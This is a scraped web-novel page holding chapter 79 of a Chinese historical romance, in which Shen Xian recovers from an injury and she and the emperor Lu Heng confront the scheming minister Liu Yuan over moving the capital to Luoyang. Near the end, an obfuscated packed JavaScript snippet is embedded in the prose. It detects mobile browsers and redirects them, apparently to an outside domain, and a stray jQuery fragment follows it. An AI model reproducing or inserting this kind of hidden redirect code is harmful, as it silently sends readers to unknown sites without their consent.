默认冷灰
24号文字
方正启体

79.第 79 章

作者:留春计本书字数:K更新时间:
    “这是最后一回敷药。”陆衡舀出一勺药糊,将其细细涂抹于沈羡右膝之上,“再修养几日,大抵能行动如常。”


    右膝被人用手相制,一时动弹不得,沈羡便颇为自然地抬了抬左腿,反复弯曲、伸直。


    片刻,她双眼一亮,惊呼道:


    “这药可真是神奇。原本邓寻同我说这伤怎么也要个二十日才能痊愈,如今一看,十日便差不多了。”


    沈羡念起才回台城时她一瘸一拐,双腿不能伸直也不能弯折太过,上个卧榻都要人小心翼翼地搀扶的惨烈情状。又想到往后又能行动自如、脚下生风,心中别提有多雀跃。


    她托着脸颊,微微撑起右腿,无视裹伤布缠绕的紧绷之感,满心想的都是——


    敷好药之后,上哪儿走一走呢?


    许久没踏出这书房了,所以她决心走得远些。


    ……就华林园吧。


    “不许。”


    “嗯?”


    沈羡沉浸于喜悦之中,正幻想华林园的景致,听陆衡这么说,也只本能回了一句。


    秋冬之际天气本就转冷,等到沈羡后知后觉地感到四周冷得过分,寒意森然,陆衡已不知坐在她一侧盯了她多久。


    她本能地搓了搓胳臂,而后扯出一个合乎时宜的笑。


    “我知道你还埋怨我……但你明明也知晓,你根本拦不住我。”


    她指了指双膝:“这不是只有一处伤么?比起偌大的收获来,这点伤算什么?”


    “你还知道你受伤了?”陆衡隐隐有些生气,“不仅如此,信只寄了两封,往后便杳无音讯了?”


    “你若再不回,便是再引人非议,我也要亲自去江州一趟。”


    沈羡有些心虚地摸了摸鼻尖。


    其实不只这一处伤,她还被孙存勋扇了一巴掌,很疼,但看回台城时已恢复得差不多,便没同他讲。


    不过她还是丝毫没有愧疚之心。


    “若回回都能像江州这般收获颇丰,伤再重一些,又……”


    “沈羡!”陆衡难得打断了他的话。


    其实沈羡说的这些他都明白,人是他送走的,心里也明白此去江州她必然要遇到些坎坷。他心中亦清楚知晓,若旁人说危险她便畏缩,这便也不是她了。


    但许是怪她,更恨自己远在建康,眼睁睁看着她以身犯险却无能为力。从沈羡回台城那一日开始,他还是想质问她:


    究竟有什么样的诱惑摆在她面前,让她能如此义无反顾地往火坑里跳?


    而看到她青紫的双膝,连带着四周都泛着密密麻麻的血点……他突然觉得自己怎能这般对她?她能回来已是再好不过的事。


    是他的错。


    于是自己又事事亲力亲为,连话都不敢说得重,唯恐令她伤心。


    太矛盾,两种想法在脑海中来回浮现,实在让他头疼。


    如今看她这般好了伤疤忘了疼的,不知不觉间另一种想法便占据上风,他忽然又以为,自己还是该同她说道说道。


    “往后……”


    “嘘——”


    沈羡虚着眼,温热的指腹抵在他唇间。


    “我知你要说什么,但我不爱听。”


    陆衡怔愣着,仍执着道。


    “往后……”


    “好啦。”沈羡好声好气道,“我不乱走,往后你监督着,行不行?”


    陆衡努力挣扎着,语气弱了些:


    “往后……”


    “往后我再不让你担心了。”


    陆衡只觉脑海一空,晕乎乎的,方才提前打好的腹稿早已被他抛到九霄云外去。


    良久,他弱弱提起:


    “要不要同刘渊见上一面?”


    “刘渊?”


    “嗯。”陆衡点点头,“就在太极西堂。”


    沈羡稍稍瞪大双眼,一时间竟不知该回些什么。


    那时,她想起永兴与山阴明明同属会稽,孙存勋气焰重燃却偏偏要绕过山阴这片土地,转而攻打宣城,当即明白孙存勋同刘氏之间必然存了千丝万缕的联系。


    刘氏上下,如今还有何人能这般提防她,手又能伸得这般长?


    怕是只有刘渊。


    所以被孙存勋所擒时,沈羡自他口中试探出刘渊正被麻烦缠身而无从挣脱,心中着实松了口气。


    “我还想着,是什么人能让这样狡猾的狐狸栽入桎梏,动弹不得。”


    沈羡抬眼,笑眯眯道:“看来,是陛下道高一丈。”


    她没适可而止,凑近他耳畔,向其传递阵阵暖意:


    “若非有你,那时孙存勋说不定已经得知我顶冒了宣城侯之女的身份。或许在那片枯林,我就该命丧黄泉了。”


    “陛下好手段!”


    陆衡刻意将整个身子挪远了些,看一眼外头烧得正旺的烈阳,轻咳一声,装模作样地来了一句:


    “今日倒是个天朗气清的好日子。”


    沈羡噗嗤一声笑出来,抬手掩唇。陆衡知道此人又在刻意拿他打趣,一时间有些羞恼,板着脸想像方才一般说些正儿八经的话。


    可目光触及她弯弯眉眼,这下是半点也气不起来,更说不出重话。


    他指了指门外,努力正色道:


    “他既然得知你的行踪,又想利用永兴设计害你,我便让他留下,在台城恭恭敬敬地迎你。”


    “如今他该走了,放他回建康前,我们不若为其饯行。”


    ……


    “陛下,迁都一事,考虑得如何了?”


    沈羡脚步一顿。


    迁都?


    “此事刘卿已同朕说过多回,朕亦驳了数回,你怎么还是如此执迷不悟?”


    刘渊垂眸低笑,转而诚恳道:“陛下有所不知,如今湘州刺史已攻入关中,取得洛阳,洛阳父老夹道相迎,一片欢天喜地。”


    “更有甚者,见到王师,跪在刺史马前,连连磕头,涕泗纵横。”


    “他们生于中原,受汉人统治,日夜思念故国的金戈铁马能涉足洛阳,重蒙天子恩泽,救其于水火。”


    刘渊重重叹一口气,看起来很是无奈。


    “陛下,如今不是臣一人劝您迁都……”


    “是洛阳的一众子民,是天下在唤您重回东都,重建前朝功业啊。”


    乍一听这话,刘渊还真像是忠心谏言的臣子,劝诫的是头脑混沌的昏君。


    沈羡一路顺着刘渊的话听下来,也挑不出其话中分毫错处,就快要以为刘渊此人是位忧国忧民的忠臣。


    不对。


    她浑身一个激灵,倏地清醒过来,不可置信地歪了歪头。


    刘渊是什么人,那些始终被其表面风度蒙在鼓里的一众官吏百姓便罢了,自己还不清楚么?


    他此举定是有什么目的,只是自己远离朝堂已有些日子,暂且看不出来而已。


    陆衡盯着刘渊,意味深长道:“我不是不可应许。”


    “但若皇室果真迁都洛阳,刘氏早已扎根南方,敢跟着迁去洛阳么?”


    “臣自然能从。”


    “你不敢。”陆衡冷声掷下三字。


    “洛阳处天下之中,北临大河,南有伊阙,东有成皋,西挟崤山,乃四方必争之地,天下无事则已,有事则群聚而攻之洛阳①。”


    “前朝至今,洛阳于汉人胡族之间辗转易手近十余次,如今民生凋敝,农耕停顿,如何能作一国之都?”


    陆衡冷声,话语不留情面:“这洛阳,是刘序伺成国立足不稳,无暇南顾之际撷来的。你明白待胡族重振旗鼓后,必定浩浩荡荡地夺回洛阳,你不敢做迁都这等自取灭亡之事。”


    “你只是将洛阳当作手中一个极其有力的把柄。虚张声势以要挟朝廷,假意鞠躬尽瘁以赚取民心。拿回你所渴望的兵权,恢复刘氏昔日与君主共掌天下的权势而已。”


    “我说的,还算明白?”


    刘渊见此,也不反驳,只眯着双眼,轻轻喟叹。


    “陛下英明……”


    “真像位潜谋机断而仁爱广被的明君。”


    “刘卿可后悔了?”陆衡淡淡回问,语气不泛一丝波澜,“后悔彼时同世家共同拥立我为皇太子。”


    “是啊,追悔莫及。”


    “我原以为你非陛下嫡子,又不甚受宠,会是更便利我等辅佐的人选。”刘渊道,“如今看来,登上皇位之人不该是你。”


    “不是我,难道是那早死于你们手中的十岁孩童陆子谦?”


    陆衡忽而收敛声势,顺着刘渊的目光一道向沈羡看来。


    “刘大人。”沈羡颔首致意,“听闻您在台城中急着见我,如今我久病初愈,让您一番苦等了。”


    “呵。”


    刘渊不置可否,皱了皱鼻,将那案上的博山炉推至角落,似是再无法忍受那异样的香气。


    “我着实没能想到,你还能活着回来。”


    “你没想到我能活着回来,更没想到我翻出了刘氏的罪证,收走了宣城,还杀了孙存勋。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15439577|157918||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “麻烦。”刘渊指腹摩挲下颌,“是很麻烦。”


    “既然麻烦,我便想劝大人适可而止。”


    “如何适可而止?”


    “在此刻收手,刘氏仍能流芳千古。”沈羡语重心长道,“不要成为第二个刘荣。”


    刘渊摇摇头,不置可否:“你不明白我的决心。”


    “大人的决心又有多重?即便国土沦丧、神州陆沉,天下落到胡族掌心,也要握着这点权力,以高门自居,不肯屈尊降贵么?”


    “天下落到谁手中与我何干?”刘渊笑得坦然,“即便天下果真落到胡族掌心,手握兵权,刘氏仍可为君主效忠而不至于沦为低贱庶民。”


    “倒是我要问你。”他顿了顿,“你就这般赶走苏家子弟,分田于百姓,提拔庶族充任官吏,不会怕么?”


    “看着庶族百姓顺着你递的梯子爬上来,离你的位置越来越近,分走你的权力,夺走你的身份……你不怕么?”


    “我怕什么?”沈羡觉得有些荒唐,“若我能被人夺走这些权力,只能证明我名不副实。”


    “原就是不该奢求的东西,不会因为我的姓氏比旁人优越几分,便有所不甘。”


    言罢,沈羡微微瞪大双眼,有所明悟。


    他始终被冠之以刘姓,亦因刘姓而生出傲骨。如今便要其在一众庶族百姓眼中始终显赫而高不可攀。


    但那只是个虚无缥缈的姓氏而已……如何值得刘氏族人代代为其献祭血肉?


    “这便是你仍在负隅顽抗,不肯稍有妥协的原因?”


    “是。”


    刘渊望向沈羡,久久不语,沈羡竟能从其中看出来些怜悯意味。


    “你一心要背叛世家,向着皇室,是不是?”


    “我的确不愿见世家肆意作乱,百姓饥寒交迫,江山倾覆。”


    “陛下。”刘渊无声一笑,转向陆衡,“臣斗胆猜测,您不愿遂百姓心愿迁都洛阳;即便湘州刺史立下这般汗马功劳,也不肯为其加封官职……”


    陆衡抿唇,目光直直投向刘渊。须臾,他扯了扯唇角,称赞道:


    “刘卿深得朕心。”


    “好。”


    刘渊缓缓撑起身子,整顿衣冠,而后双手交叠,伏于沈羡与陆衡二人身前。


    他以头抢地,声线戚戚然而似悲号。


    “是臣一意孤行,而今臣实在无能为力……”


    “臣只得命湘州刺史刘序回撤湘州,坐以待毙。”


    “他冷静看着洛阳周边的城镇渐渐为成国所霸占,直到洛阳成为辽远关中的最后一座城池,看百姓存于孤岛,四面哭号而无人应答……”


    “直到胡族再度踏入洛阳,踏入洛阳这个被战火侵袭得奄奄一息的城池,短暂成为它的下一位主人。”


    刘渊顿了一瞬,声线发抖,不知是情绪激愤还是幻想得逞后的快意。


    “洛阳百姓在胡族倾轧下苟延残喘了几十年,而今幸得王师涉足,得以重归故国;南迁百姓于连年内乱中堪堪忍耐几十年,终有一日东都得复,得以重踏故土。”


    “他们以为汉人不再苟且偏安,自己终于能不再依附世家大族,得到自己的一片田地,安居乐业,却没想到这一切只是黄粱一梦。”


    “这便是你为我们设计的结局?”


    “是。”刘渊直起身子,“内外交困,陆氏江山被草鞋与铁蹄碾作乌有,可是陛下与沈二小姐所乐见的?”


    “你要利用胡族的野心与百姓的怒火扳倒我们……”


    沈羡不可置信地退后一步。


    “刘渊,你不惜倾覆整个江山,转而侍奉异族,也要为自己谋得所谓的权力么?”


    “权看你们如何抉择。”


    沈羡不得不承认,这就是刘渊精心为他们设计的死局……至少对她而言是如此。


    刘渊不仁不义、不择手段,能毫不在意苍生性命、不在乎天下太平。


    但她不可以,也做不到。


    她做不到视万物为刍狗,也做不到转头向异族俯首称臣。


    但她心中仍然存了一丝幻想。就像迁都洛阳一样,或许刘渊只是有心威胁,却无心狠下心来推倒这座大厦?


    除非他能将过往所学的一切圣贤书,日日念叨的忠孝节义抛之脑后,坐视风雨飘摇,生灵凋敝。


    “这是你以为的死局,却并非是我所以为的绝境。”沈羡竭力平复气息,“若你果真能凭一己之力掀起这滔天骇浪……”


    “我安然端坐于台城,等着。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)